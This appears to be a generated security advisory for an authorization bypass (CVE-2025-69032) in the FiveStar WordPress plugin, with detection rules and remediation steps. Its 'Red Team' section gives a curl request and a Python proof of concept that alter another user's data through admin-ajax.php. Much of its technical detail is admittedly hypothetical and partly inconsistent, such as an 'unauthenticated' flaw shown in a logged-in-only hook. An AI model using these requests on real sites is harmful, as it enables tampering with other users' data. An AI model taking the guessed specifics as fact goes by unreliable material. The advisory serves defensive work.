CVE-2025-69032

Executive Summary

CVE-2025-69032 is an Authorization Bypass Through User-Controlled Key vulnerability (CWE-639) affecting the FiveStar WordPress plugin by Qodeinteractive (Mikado-Themes). The flaw allows an unauthenticated attacker to manipulate user-controlled keys (e.g., user IDs, post IDs, or nonce values) to bypass access control checks, potentially leading to unauthorized data access or modification. The vulnerability impacts all versions up to and including 1.7. No official patch has been released, and no public exploit code is available at this time. The CVSS score of 5.4 (Medium) reflects the low complexity and network-based attack vector, but the lack of authentication requirements elevates the risk in WordPress environments.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Organizations using the FiveStar plugin should treat this as a supply chain risk, as the plugin may be bundled in themes or purchased directly from Qodeinteractive. No known malicious packages have been identified, but the unpatched status means any site running version ≤ 1.7 is exposed.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
• Base Score: 5.4 (Medium)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No victim action required.
• Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited data exposure.
• Integrity Impact: Low (I:L) – Limited data modification.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. While the CVSS score is moderate, the unpatched status and WordPress ecosystem prevalence increase the real-world risk. Attackers can chain this with other vulnerabilities for privilege escalation.

Deep Dive & Mechanics

The vulnerability stems from improper validation of user-controlled keys in the FiveStar plugin’s authorization logic. In WordPress plugins, user-controlled keys often include:

• user_id or post_id parameters in AJAX requests.
• Nonce values that are not properly verified.
• Capability checks that rely on client-supplied data.

Root Cause: The plugin fails to verify that the user-controlled key (e.g., a user ID passed via $_GET or $_POST) matches the authenticated user’s session or has appropriate permissions. This allows an attacker to supply arbitrary values, bypassing access controls.

Attack Scenario:

1. An attacker sends a crafted HTTP request to a vulnerable endpoint (e.g., /wp-admin/admin-ajax.php?action=fivestar_update&user_id=999).
2. The plugin processes the request using the attacker-supplied user_id without verifying that the current user has permission to modify that user’s data.
3. The attacker can read or modify data belonging to other users, such as profile fields, ratings, or settings.

Technical Details:

• The vulnerability is present in the fivestar plugin’s AJAX handlers (likely in includes/class-fivestar-ajax.php).
• The plugin uses $_REQUEST['user_id'] directly in database queries or update operations without a capability check like current_user_can().
• No nonce verification is performed, or the nonce is tied to a predictable value.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on the vulnerability type.

Vulnerable Code (version ≤ 1.7):

// Vulnerable: No capability check
add_action('wp_ajax_fivestar_update', 'fivestar_update_callback');
function fivestar_update_callback() {
    $user_id = $_POST['user_id']; // User-controlled key
    update_user_meta($user_id, 'fivestar_rating', $_POST['rating']);
    wp_send_json_success();
}

Patched Code (hypothetical):

// Patched: Added capability check and nonce verification
add_action('wp_ajax_fivestar_update', 'fivestar_update_callback');
function fivestar_update_callback() {
    if (!wp_verify_nonce($_POST['_wpnonce'], 'fivestar_nonce')) {
        wp_die('Security check failed');
    }
    $user_id = intval($_POST['user_id']);
    if (!current_user_can('edit_user', $user_id)) {
        wp_die('Unauthorized');
    }
    update_user_meta($user_id, 'fivestar_rating', sanitize_text_field($_POST['rating']));
    wp_send_json_success();
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with FiveStar plugin version ≤ 1.7 installed and activated.
• Network access to the site.

Exploitation Steps:

1. Identify the vulnerable AJAX action (e.g., fivestar_update).
2. Craft a request to modify another user’s data:

   curl -X POST http://target.com/wp-admin/admin-ajax.php \
   -d "action=fivestar_update&user_id=2&rating=5"
   

3. Verify the attack by checking if user ID 2’s rating was changed.

Proof-of-Concept (No public exploit available):

import requests

target = "http://target.com/wp-admin/admin-ajax.php"
payload = {
    "action": "fivestar_update",
    "user_id": "2",
    "rating": "1"
}
response = requests.post(target, data=payload)
if response.status_code == 200:
    print("Exploit successful - user 2 rating modified")

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual AJAX requests to admin-ajax.php with action=fivestar_update and varying user_id parameters.
• Look for requests from unauthenticated users to authenticated AJAX actions.

Hardening:

• Disable the FiveStar plugin until a patch is available.
• Implement a Web Application Firewall (WAF) rule to block requests with suspicious user_id values.
• Use a WordPress security plugin to enforce capability checks.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /wp-admin/admin-ajax.php with action=fivestar_update and user_id parameter.
  • Repeated requests with sequential or high user_id values.
• File IOCs:
  • Modified user meta entries in the wp_usermeta table for fivestar_rating.
• Log IOCs:
  • WordPress debug log entries showing fivestar_update action from unexpected IPs.

Detection Engineering

YARA Rule

rule CVE_2025_69032_Fivestar_Exploit {
    meta:
        description = "Detects exploitation attempts for CVE-2025-69032 in FiveStar plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-69032"
    strings:
        $ajax_action = "fivestar_update"
        $user_id_param = "user_id"
        $wp_ajax = "wp-admin/admin-ajax.php"
    condition:
        all of them
}

Sigma Rule

title: CVE-2025-69032 FiveStar Authorization Bypass
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation of CVE-2025-69032 via AJAX requests
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains: 'action=fivestar_update'
        cs-uri-query|contains: 'user_id='
    condition: selection
falsepositives:
    - Legitimate plugin usage by authorized users
level: medium

Suricata Rule

alert http any any -> any any (
    msg:"CVE-2025-69032 FiveStar Authorization Bypass Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"admin-ajax.php"; http_uri;
    content:"action=fivestar_update"; http_client_body;
    content:"user_id="; http_client_body;
    classtype:attempted-user;
    sid:10000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the FiveStar plugin on all WordPress sites until a patch is released.
2. Monitor logs for exploitation attempts using the provided detection rules.
3. Implement virtual patching via WAF to block requests to admin-ajax.php with action=fivestar_update from unauthenticated users.

Long-term Fix:

• Contact Qodeinteractive for an official patch.
• Replace the plugin with an alternative that has active security support.
• Conduct a security audit of all WordPress plugins for similar authorization bypass issues.

Workaround:

• Add the following code to the theme’s functions.php to block the vulnerable action:

  add_action('init', function() {
      if (isset($_POST['action']) && $_POST['action'] === 'fivestar_update') {
          wp_die('Action disabled due to security vulnerability');
      }
  });
  

Valters IT
DevSecOps & Cyber Threat Intelligence Division
Report generated: 2025-04-10